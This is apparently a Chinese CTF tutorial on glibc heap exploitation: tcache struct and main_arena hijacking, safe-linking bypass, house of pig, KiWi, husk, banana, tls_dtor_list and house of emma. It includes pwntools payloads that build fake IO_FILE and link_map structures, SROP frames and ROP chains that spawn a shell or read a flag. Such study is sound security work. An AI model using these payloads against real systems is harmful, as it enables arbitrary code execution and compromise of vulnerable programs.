可以看到，Tcache Struct 的有一个 counts 数组和 entries 链表，它本身就是一个堆，在所有堆块的最上面，而在不同版本，它的 counts 数组大小不同，2.30 以下的类型只占一个字节，而 2.30 及以上的类型就占两个字节了，又 TCACHE_MAX_BINS = 64，因此 2.30 以下 Tcache Struct 的大小为 0x250，而 2.30 及以上为 0x290。Tcache Struct 的 counts 数组中每个元素代表其对应大小的 tcache bin 目前在 tcache 中的个数，而 entries 数组中的地址指向其对应大小的 tcache bin 所在的单链表中头部的 tcache bin。

在 2.30 以下，在从 tcache struct 取出内容的时候不会检查 counts 的大小，从而我们只需要修改我们想要申请的 size 对应的链表头部位置，即可申请到。而在 2.30 及以上版本的 libc，则需要考虑对应 counts 的大小要大于 0，才能取出。

对于劫持 Tcache Struct，有两种方式，一种就是直接劫持 Tcache Struct 的堆块，对其中的数据进行伪造，另外一种就是劫持 TLS 结构中的 tcache pointer，其指向 Tcache Struct，将其改写，即可改为指向一个伪造的 fake Tcache Struct。

对于 Tcache Struct 的溢出，先往 mp_.tcache_bins 写入一个大数值，这样就类似于改 global_max_fast 一样，我们之后 free 的堆块，都会被放入 tcache 中，而 Tcache Struct 中的某些 counts 和 entries 数组都会溢出到我们可控的堆区域中，但是利用此方法，需要对堆块的布局格外留心，防止出现一些不合法的情况从而报错。

glibc 2.32 在 tcache 和 fastbin 上新增的保护及绕过方法

在 2.32 版本，对 tcache 和 fastbin 都新增了指针保护：

```
1 #define PROTECT_PTR(pos, ptr) \
2 ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
3 #define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
```

比如在 tcache_put()中加入 tcache bin 时，就有 e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])，对其 next 指针进行加密，而在 tcache_get()中取出 tcache bin 时，就有 tcache->entries[tc_idx] = REVEAL_PTR (e->next)将解密后的结果放入 entries 数组更新。在 fastbin 中也有类似的 p->fd = PROTECT_PTR(&p->fd, old)操作。

PROTECT_PTR 操作就是先对 pos（fd/next 域的堆块地址）右移了 12 位（去除了末三位信息），再将与原先的指针（在此版本之前 fd/next 储存的内容）异或得到的结果存入 fd/next。由异或的自反性，解密只需 PROTECT_PTR (&ptr, ptr)即可。

值得一提的是，当 fastbin/tcache 中只有一个 chunk 的时候，它的 fd/next 为零，而零异或 pos>>12 就是 pos>>12，因此可以通过这样的堆块泄露 pos>>12（密钥）的值，当然还可以通过泄露 heap_base 来得到 pos>>12（密钥）的值，每在 0x1000 范围内，堆块的密钥都一样。

main_arena 的劫持

main_arena 其实也可以通过劫持 TLS 结构直接劫持，但是通过劫持 TLS 结构来劫持 main_arena 的话，需要伪造一个近乎完整的 main_arena，这并不是很容易，堆块大小也要足够大才行，而若是我们能劫持到原先已有的 main_arena，对其中部分数据进行修改，这样就简单很多了，我们可利用 fastbin attack 进行劫持实现。
我们知道，在 fastbin attack 中常常需要伪造堆块的 size，因为当堆块从 fastbin 中取出时，会检查其 size 是否匹配。在 libc 2.27 以上的 main_arena 中，有一项 have_fastchunks，当其中 fastbin 中有堆块时，这一项将会置为 1，而这一项又在 main_arena 中所有重要信息的上方，又 have_fastchunks 在 main_arena + 8 的位置，若是 have_fastchunks = 1，则可以通过 fastbin attack，将其中一个 chunk 的 fd 改为 main_arena - 1 的地址，即可伪造出一个 size 为 0x100 的堆块，但是 0x100 这个大小已经超过了默认的 global_max_fast 的大小 0x80，因此需要先将 global_max_fast 改为一个大数值，才能够劫持到 main_arena。

house of pig (PLUS)

先看到_IO_str_overflow 函数：

```
int _IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
```

```
23          size_t new_size = 2 * old_blen + 100;
24          if (new_size < old_blen)
25            return EOF;
26          new_buf = malloc (new_size); // 1
27          if (new_buf == NULL)
28            {
29              /*      __ferror(fp) = 1; */
30              return EOF;
31            }
32          if (old_buf)
33            {
34              memcpy (new_buf, old_buf, old_blen); // 2
35              free (old_buf); // 3
36              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
37              fp->_IO_buf_base = NULL;
38            }
39          memset (new_buf + old_blen, '\0', new_size - old_blen); // 4
40
41          _IO_setb (fp, new_buf, new_buf + new_size, 1);
42          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
43          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
44          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
45          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
46
47          fp->_IO_write_base = new_buf;
48          fp->_IO_write_end = fp->_IO_buf_end;
49        }
50    }
51
52  if (!flush_only)
53    *fp->_IO_write_ptr++ = (unsigned char) c;
54  if (fp->_IO_write_ptr > fp->_IO_read_end)
55    fp->_IO_read_end = fp->_IO_write_ptr;
56  return c;
57 }
58 libc_hidden_def (_IO_str_overflow)
```

在源码中，`old_blen = _IO_blen (fp) = (fp)->_IO_buf_end - (fp)->_IO_buf_base`，`malloc` 的大小为 `2 * old_blen + 100`。

可以看到注释的 `1,2,3` 处连续调用了 `malloc`，`memcpy`，`free`，在 `2.34` 以前，有 `__free_hook` 的存在，所以不难想到：先在某个 `bin list` 里伪造一个与`__free_hook` 有关的堆块地址，然后用这里的 `malloc` 申请出来，再通过 `memcpy` 往`__free_hook`

里面任意写 system，最后在调用 free 之前先调用了__free_hook，此时 rdi 是 old_buf = fp->_IO_buf_base，也是我们伪造 IO_FILE 时可控的，直接将其改为 /bin/sh 即可 getshell。
比如说，先利用 tcache stashing unlink attack 或者劫持 TLS 中的 tcache pointer 等方式，在 0xa0 的 tcache bin 中伪造一个__free_hook - 0x10 在链首，然后伪造 IO_FILE 如下：

```
fake_IO_FILE = p64(0)*3 + p64(0xffffffffffffffff) # set _IO_write_ptr
# fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0) + p64(fake_IO_FILE_addr + 0xe0) + p64(fake_IO_FILE_addr + 0xf8)
# set _IO_buf_base & _IO_buf_end   old_blen = 0x18
fake_IO_FILE = payload.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(get_IO_str_jumps())
fake_IO_FILE += b'/bin/sh\x00' + p64(0) + p64(libc.sym['system'])
```

最后通过 exit 触发，即可 getshell，当然也可以配合 house of KiWi 等方式通过调用某个 IO 的 fake vtable，来调用_IO_str_overflow，伪造的 IO_FILE 需要按情况微调。
在 2.34 以后，__free_hook，__malloc_hook，__realloc_hook 这些函数指针都被删除了，house of pig 的利用看似也就无法再使用了，但是我们注意到上面源码的注释 4 处，调用了 memset，在 libc 中也是有 got 表的，并且可写，而这里的 memset 在 IDA 中可以看到是 j_memset_ifunc()，这种都是通过 got 表调用的，因此我们可以把原先 house of pig 的改写__free_hook 转为改写 memset 在 libc 中的 got 表。
先在 0xa0 的 tcache 链表头伪造一个 memset_got_addr 的地址，并伪造 IO_FILE 如下：

```
# magic_gadget: mov rdx, rbx ; mov rsi, r12 ; call qword ptr [r14 + 0x38]
fake_stderr = p64(0)*3 + p64(0xffffffffffffffff) # _IO_write_ptr
fake_stderr += p64(0) + p64(fake_stderr_addr+0xf0) + p64(fake_stderr_addr+0x108)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64(libc.sym['_IO_stdfile_2_lock']) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'\x00') # srop
fake_stderr += p64(rop_address + 0x10) + p64(ret_addr) # rsp rip
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libc.sym['_IO_str_jumps'] - 0x20)
fake_stderr += p64(0) + p64(0x21)
fake_stderr += p64(magic_gadget) + p64(0) # r14 r14+8
fake_stderr += p64(0) + p64(0x21) + p64(0)*3
fake_stderr += p64(libc.sym['setcontext']+61) # r14 + 0x38
```

这里是通过 house of KiWi 调用的，并且开了沙盒。需要注意的是，在 memset 之前仍然有 free(IO->buf_base)，因此需要伪造一下 memset_got_addr 的 fake chunk 的堆块头，以及其 next chunk 的堆块头。此外，在__vfxprintf 中有 _IO_flockfile(fp)，因此_lock 也需要修复（任意可写地址即可）。至于各寄存器

在_IO_str_overflow 中最后的情况，最后调试一下就能得到，magic gadget 也不难找。

house of KiWi

主要是提供了一种在程序中触发 IO 的思路，恰好又能同时控制 rdx，很方便地 orw。

```
// assert.h
# if defined __cplusplus
#  define assert(expr)                             \
     (static_cast <bool> (expr)                        \
      ? void (0)                             \
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
#  define assert(expr)                             \
    ((expr)                                 \
     ? __ASSERT_VOID_CAST (0)                       \
     : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
#  define assert(expr)                             \
  ((void) sizeof ((expr) ? 1 : 0), __extension__ ({           \
      if (expr)                                 \
        ; /* empty */                           \
      else                                  \
        __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION);    \
    }))
# endif

// malloc.c ( #include <assert.h> )
# define __assert_fail(assertion, file, line, function)           \
     __malloc_assert(assertion, file, line, function)

static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const
char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
```

```
34    fflush (stderr);
35    abort ();
    }
```

可以看到，在 malloc.c 中，assert 断言失败，最终都会调用__malloc_assert，而其中有一个 fflush (stderr)的函数调用，会走 stderr 的 IO_FILE，最终会调用到其 vtable 中_IO_file_jumps 中的__IO_file_sync，此时 rdx 为 IO_helper_jumps。
开了沙盒需要 orw 的题目，经常使用 setcontext 控制 rsp，进而跳转过去调用 ROP 链，而在 2.29 版本以上 setcontext 中的参数也由 rdi 变为 rdx 了，起始位置也从 setcontext+53 变为了 setcontext+61（2.29 版本有些特殊，仍然是 setcontext+53 起始，但是控制的寄存器已经变成了 rdx），rdx 显然没有 rdi 好控制，然而 house of KiWi 恰好能帮助我们控制 rdx。
下面的问题就在于如何触发 assert 的断言出错，通常有以下几种方式：

1.在_int_malloc 中判断到 top chunk 的大小太小，无法再进行分配时，会走到 sysmalloc 中的断言：

```
1 assert ((old_top == initial_top (av) && old_size == 0) ||
2         ((unsigned long) (old_size) >= MINSIZE &&
3          prev_inuse (old_top) &&
4          ((unsigned long) old_end & (pagesize - 1)) == 0));
```

因此，我们可以将 top chunk 的 size 改小，并置 prev_inuse 为 0，当 top chunk 不足分配时，就会触发这个 assert 了。

2.在_int_malloc 中，当堆块从 unsorted bin 转入 largebin list 的时候，也会有一些断言：assert (chunk_main_arena (bck->bk))，assert (chunk_main_arena (fwd))等。

再看相关的宏定义：

```
#define NON_MAIN_ARENA 0x4
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
```

对 mchunk_size 的解释：mchunk_size 成员显示的大小并不等价于该 chunk 在内存中的大小，而是当前 chunk 的大小加上 NON_MAIN_ARENA、IS_MAPPED、PREV_INUSE 位的值。
因此，assert (chunk_main_arena(...))就是检测堆块是否来自于 main_arena，也可以通过伪造即将放入 largebin list 的 largebin's size 来触发 assert。
对于 house of KiWi 利用，需要存在一个任意写，通过修改_IO_file_jumps + 0x60 的_IO_file_sync 指针为 setcontext+61，并修改 IO_helper_jumps + 0xA0 and 0xA8 分别为 ROP 链的位置和 ret 指令的 gadget 地址即可。

值得一提的是，在 house of KiWi 调用链中，在调用到__IO_file_sync 之前，在__vfprintf_internal 中也会调用 IO_FILE 虚表中的函数，会调用[vtable] + 0x38

的函数，即_IO_new_file_xsputn，因此我们可以通过改 IO_FILE 中 vtable 的值，根据偏移来调用其他虚表中的任意函数。

高版本下开了沙盒的 orw 方法

1. 通过 gadget 做到类似于栈迁移的效果，然后走 ROP 链，打 orw
2. 通过 setcontext + 61，控制寄存器 rdx

   （1）可以找 gadget，使 rdi 或其他寄存器与 rdx 之间进行转换

   （2）通过改__malloc_hook 为 setcontext + 61，劫持 IO_FILE(多是 stdin)，将 vtable 改成_IO_str_jumps 的地址，最后通过 exit，会走到 _IO_str_overflow 函数，其中有 malloc 函数触发__malloc_hook，此时的 rdx 就是_IO_write_ptr 中的值，所以直接使_IO_write_ptr = SROP_addr 即可。
3. house of KiWi
4. 其他 IO 的劫持

对于第一种，svcudp_reply+26 处有个 gadget 可以实现：

```
1 <svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
2 <svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
3 <svcudp_reply+34>:    lea    r13,[rbp+0x10]
4 <svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
5 <svcudp_reply+45>:    mov    rdi,r13
6 <svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
```

对于第二种，先来看通过 gadget 进行 rdi 与 rdx 间的转换（最常用）：

```
1 mov rdx, qword ptr [rdi + 8]
2 mov qword ptr [rsp], rax
3 call qword ptr [rdx + 0x20]
```

再看通过改__malloc_hook 并劫持_IO_FILE 的方法：
为什么说一般劫持的都是 stdin 的 IO_FILE 呢？因为__malloc_hook 与 stdin 距离是比较近的，可以在劫持 IO_FILE 的同时，就把__malloc_hook 改掉。
可按如下方式构造 payload：

```
1  SROP_addr = libc_base + libc.sym['_IO_2_1_stdin_'] + 0xe0
2  payload = p64(0)*5 + p64(SROP_addr) # _IO_write_ptr
3  payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps_offset())
```

```
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x200
frame.rsp = address + 8
frame.rip = libc_base + libc.sym['read']
payload += bytes(frame)
payload = payload.ljust(0x1f0, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # __malloc_
```

至于第三种，house of KiWi 的方式，在上面已经单独介绍过了，就不再多说了。关于第四点提到的其他 IO 劫持，在之后都会提及，比如 house of banana，house of emma 等等。

house of husk

在用 printf 进行输出时，会根据其格式化字符串，调用不同的输出函数来以不同格式输出结果。但是如果调用呢？自然是需要格式化字符与其输出函数一一对应的索引表的。glibc 中的__register_printf_function 函数是 __register_printf_specifier 函数的封装：

```
int __register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}
```

__register_printf_specifier 函数就是为格式化字符 spec 的格式化输出注册函数：

```
int __register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX)
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
```

```
14      {
15        __printf_arginfo_table = (printf_arginfo_size_function **)
16      calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
17        if (__printf_arginfo_table == NULL)
18      {
19        result = -1;
20        goto out;
21      }
22
23        __printf_function_table = (printf_function **)
24      (__printf_arginfo_table + UCHAR_MAX + 1);
25      }
26
27    // 为格式化字符 spec 注册函数指针
28    __printf_function_table[spec] = converter;
29    __printf_arginfo_table[spec] = arginfo;
30
31   out:
32    __libc_lock_unlock (lock);
33
34    return result;
35  }
```

可以看到，如果格式化字符 spec 超过 0xff 或小于 0，即 ascii 码不存在，则返回-1，如果__printf_arginfo_table 为空就通过 calloc 分配两张索引表，并将地址存到__printf_arginfo_table 以及__printf_function_table 中。两个表空间均为 0x100，可以为 0-0xff 的每个字符注册一个**函数指针**，且第一个表后面紧接着第二个表。由此，我们有很明显的思路，可以劫持__printf_arginfo_table 和 __printf_function_table 为我们伪造的堆块（多用 largebin attack），进而伪造里面格式化字符所对应的函数指针（要么为 0，要么有效）。

在 vfprintf 函数中，如果检测到__printf_function_table 不为空，则对于格式化字符不走默认的输出函数，而是调用 printf_positional 函数，进而可以调用到表中的函数指针：

```
1  // vfprintf-internal.c : 1412
2  if (__glibc_unlikely (__printf_function_table != NULL
3              || __printf_modifier_table != NULL
4              || __printf_va_arg_table != NULL))
5      goto do_positional;
6
7  // vfprintf-internal.c : 1682
8  do_positional:
```

```
9    done = printf_positional (s, format, readonly_format, ap, &ap_save,
10                  done, nspecs_done, lead_str_end, work_buffer,
11                  save_errno, grouping, thousands_sep, mode_flags);
```

__printf_function_table 中类型为 printf_function 的函数指针，在 printf->vfprintf->printf_positional 被调用：

```
1  // vfprintf-internal.c : 1962
2  if (spec <= UCHAR_MAX
3            && __printf_function_table != NULL
4            && __printf_function_table[(size_t) spec] != NULL)
5  {
6        const void **ptr = alloca (specs[nspecs_done].ndata_args
7                   * sizeof (const void *));
8
9        /* Fill in an array of pointers to the argument values.  */
10       for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
11        ++i)
12         ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
13
14       /* Call the function.  */
15       function_done = __printf_function_table[(size_t) spec](s, &specs[nspecs_done].info, ptr);
16 // 调用__printf_function_table 中的函数指针
17
18     if (function_done != -2)
19     {
20       /* If an error occurred we don't have information
21          about # of chars.  */
22       if (function_done < 0)
23         {
24           /* Function has set errno.  */
25           done = -1;
26           goto all_done;
27         }
28
29       done_add (function_done);
30       break;
31     }
   }
```

另一个在__printf_arginfo_table 中的类型为 printf_arginfo_size_function 的函数指针，在 printf->vfprintf->printf_positional->__parse_one_specmb 中被调用，其功能是根据格式化字符做解析，返回值为格式化字符消耗的参数个数：

```
// vfprintf-internal.c : 1763
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);

// printf-parsemb.c (__parse_one_specmb 函数)
/* Get the format specification.  */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
  || spec->info.spec > UCHAR_MAX
  || __printf_arginfo_table[spec->info.spec] == NULL // 判断是否为空
  /* We don't try to get the types for all arguments if the format
 uses more than one.  The normal case is covered though.  If
 the call returns -1 we continue with the normal specifiers.  */
  || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
// 调用__printf_arginfo_table 中的函数指针
              (&spec->info, 1, &spec->data_arg_type,
               &spec->size)) < 0)
{
  /* Find the data argument types of a built-in spec.  */
    spec->ndata_args = 1;
```

可以看到，是先调用了__printf_arginfo_table 中的函数指针，再调用了__printf_function_table 中的函数指针。

假设现在__printf_function_table 和__printf_arginfo_table 分别被填上了 chunk 4 与 chunk 8 的堆块地址（chunk header）。

方式一：

```
one_gadget = libc.address + 0xe6c7e
edit(8, p64(0)*(ord('s') - 2) + p64(one_gadget))
```

由于有堆块头，所以格式化字符的索引要减 2，这样写就满足了 __printf_function_table 不为空，进入了 printf_positional 函数，并调用了 __printf_arginfo_table 中的函数指针。

方式二：

```
one_gadget = libc.address + 0xe6ed8
edit(4, p64(0)*(ord('s') - 2) + p64(one_gadget))
```

这样写同样也是可以的，首先仍然满足__printf_function_table 不为空，进入了 printf_positional 函数，会先进入__parse_one_specmb，此时 __printf_arginfo_table[spec->info.spec] == NULL 成立，那么根据逻辑短路，就不会再执行下面的语句了，最后又回到 printf_positional 函数，调用了 __printf_function_table 中的函数指针。

house of banana

其实就是劫持了 link_map，需要 exit 函数触发，调用链：exit()->_dl_fini->(fini_t)array[i]，可以很方便地 getshell 或者在高版本下 orw。

先看 Elf64_Dyn 结构体定义（注意里面有一个共用体）：

```
typedef struct
{
  Elf64_Sxword    d_tag;            /* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;        /* Integer value */
      Elf64_Addr d_ptr;            /* Address value */
    } d_un;
} Elf64_Dyn;

// link_map 中 l_info 的定义
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
              + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
```

再看_dl_fini.c 中的这一段：

```
for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i]; // link_map 结构体指针 l
    if (l->l_init_called)
    {
      /* Make sure nothing happens if we are called twice.  */
      l->l_init_called = 0;
      /* Is there a destructor function?  */
      if (l->l_info[DT_FINI_ARRAY] != NULL
          || (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
        {
          .............
            /* First see whether an array is given.  */
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
              ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr
                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
              unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                        / sizeof (ElfW(Addr)));
              while (i-- > 0)
                ((fini_t) array[i]) (); // 调用了函数指针
```

```
            }
        ...
        }
      ...
    }
  ...
}
```

这里面涉及的结构体比较多，成员参数也比较复杂。可以看到源码中 l 指针的类型为 link_map 结构体。link_map 结构体的定义很长，节选如下：

```
struct link_map
{
    ElfW(Addr) l_addr;        /* Difference between the address in the ELF
                   file and the addresses in memory.  */
    char *l_name;        /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

     /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;
    ......
};
```

可以看到，link_map 和堆块链表一样，是通过 l_next 与 l_prev 指针连接起来的，那么肯定就有一个类似于 main_arena 或者说是 tcache_struct 的地方，存放着这个链表头部指针的信息，这个地方就是_rtld_global 结构体：

```
pwndbg> p _rtld_global
$1 = {
  _dl_ns = {{
      _ns_loaded = 0x7ffff7ffe190,
      _ns_nloaded = 4,
  ......
```

这里的_ns_loaded 就是 link_map 链表头部指针的地址，_ns_nloaded = 4 说明这个 link_map 链表有四个 link_map 结构体，它们通过 l_next 与 l_prev 指针连接在一起。

我们再用 gdb 打出 link_map 的头部结构体的内容：

```
pwndbg> p *(struct link_map*) 0x7ffff7ffe190
$2 = {
  l_addr = 93824990838784,
  l_name = 0x7ffff7ffe730 "",
  l_ld = 0x555555601d90,
  l_next = 0x7ffff7ffe740,
  l_prev = 0x0,
  l_real = 0x7ffff7ffe190,
  ......
```

很自然，在 house of banana 的利用中，我们需要劫持_rtld_global 的首地址，也就是_ns_loaded，将它通过 largebin attack 等方式改写为我们可控的堆地址，然后再对 link_map 进行伪造（当然，对于有些题目，有办法直接劫持到原先的 link_map 并修改，那更好）。

伪造 link_map 的时候，首先就需要注意几个地方：将 l_next 需要还原，这样之后的 link_map 就不需要我们再重新伪造了；将 l_real 设置为自己伪造的 link_map 堆块地址，这样才能绕过检查。

之后，我们再回到_dl_fini.c 中的源码，看看如何利用 house of banana 进行攻击。

首先，再最外层判断中，需要使 l->l_init_called 为真，因此需要对 l_init_called 进行一个伪造。

然后，需要使 l->l_info[DT_FINI_ARRAY] != NULL，才能调用函数指针，这里有 #define DT_FINI_ARRAY 26，也就是使得 l->l_info[26]不为空。

再之后就是 array = (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);，这里需要伪造 link_map 中的 l_addr（这里在已经伪造的 link_map 的堆块头，需要通过其上一个堆块溢出或是合并后重分配进行修改），以及 l->l_info[26]->d_un.d_ptr，也就是 l->l_info[27]，使其相加的结果为函数指针的基地址。

调用函数指针的次数 i 由 i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))控制，其中#define DT_FINI_ARRAYSZ 28，sizeof (ElfW(Addr)) = 8，因此 i = l->l_info[29] / 8。

这里每次调用的函数指针都为上一个的地址减 8，直到最后调用函数指针的基地址 array，而每一次调用函数指针，其 rdx 均为上一次调用的函数指针的地址，由此我们可以轻松地通过 setcontext + 61 布置 SROP，跳转执行 ROP 链。

构造代码如下：

```
fake_link_map_addr = heap_base + 0x6c0
edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) +  p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)

```

```
'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''

# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 =>
array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
```

劫持 tls_dtor_list，利用__call_tls_dtors 拿到权限

这个利用也是通过 `exit` 触发的，和 `house of banana` 实现的效果差不多，利用流程比 `house of banana` 简单，但是主要是用于 `getshell`，在开了沙盒后，`orw` 并没有 `house of banana` 方便。
首先来看 `dtor_list` 结构体的定义：

```
struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

static __thread struct dtor_list *tls_dtor_list;
```

可以看到，tls_dtor_list 就是 dtor_list 的结构体指针，里面存放着一个 dtor_list 结构体的地址。

再看到__call_tls_dtors 函数（对 tls_dtor_list 进行遍历）：

```
 void __call_tls_dtors (void)
 {
   while (tls_dtor_list)
     {
       struct dtor_list *cur = tls_dtor_list;
       dtor_func func = cur->func;
 #ifdef PTR_DEMANGLE
       PTR_DEMANGLE (func);
 #endif

       tls_dtor_list = tls_dtor_list->next;
       func (cur->obj);

       atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
       free (cur);
     }
 }
```

由此可知，dtor_list 结构体中的 func 成员，其实是一个函数指针，而其中的 obj 成员就是其调用时的参数。

很显然，若我们可以劫持 tls_dtor_list，在其中写入我们伪造的堆地址，使其不为空（绕过 while (tls_dtor_list)），就能执行到 func (cur->obj)，而我们又可以控制伪造的堆块中 prev_size 域为 system 的相关数据（由于有指针保护，之后会讲），size 域为/bin/sh 的地址（通过上一个堆块的溢出或合并后重分配），这样就能 getshell 了，若是想 orw，那么可以让 func 成员为 magic_gadget 的相关数据，将 rdi 与 rdx 转换后，再调用 setcontext + 61 走 SROP 即可。

需要注意的是，在调用 func 函数指针之前，对 func 执行了 PTR_DEMANGLE (func)，这是一个指针保护，我们可以通过 gdb 直接看到其汇编：

```
ror    rax,0x11
```

```
2 xor    rax,QWORD PTR fs:0x30
3 mov    QWORD PTR fs:[rbx],rdx
4 mov    rdi,QWORD PTR [rbp+0x8]
5 call   rax
```

这操作主要是先进行**循环右移** 0x11 位，再与 fs:0x30（tcbhead_t->pointer_guard）进行**异或**，最终得到的数据就是我们的函数指针，并调用。

因此，我们在之前所说的将 func 成员改成的与 system 相关的数据，就是对指针保护进行一个逆操作：先将 system_addr 与 pointer_guard 进行异或，再将结果循环左移 0x11 位后，填入 prev_size 域。

然而，pointer_guard 的值在 TLS 结构中（在 canary 保护 stack_guard 的下一个），我们很难直接得到它的值，但是我们可以通过一些攻击手段，往其中写入我们可控数据，这样就可以控制 pointer_guard，进而绕过指针保护了。

```
1 ROL = lambda val, r_bits, max_bits: \
2     (val << r_bits%max_bits) & (2**max_bits-1) | \
3     ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
4
5 # 两次 largebin attack 改 tls_dtor_list 与 pointer_guard
6
7 fake_pointer_guard = heap_base + 0x17b0
8 edit(0, b'a'*0x420 + p64(ROL(libc.sym['system'] ^
  fake_pointer_guard, 0x11, 64)) + p64(next(libc.search(b'/bin/sh'))))
```

house of emma

主要是针对于 glibc 2.34 中删除了__free_hook 与__malloc_hook 等之前经常利用的函数指针而提出的一条新的调用链。

house of emma 利用了_IO_cookie_jumps 这个 vtable：

```
1  static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
2    JUMP_INIT_DUMMY,
3    JUMP_INIT(finish, _IO_file_finish),
4    JUMP_INIT(overflow, _IO_file_overflow),
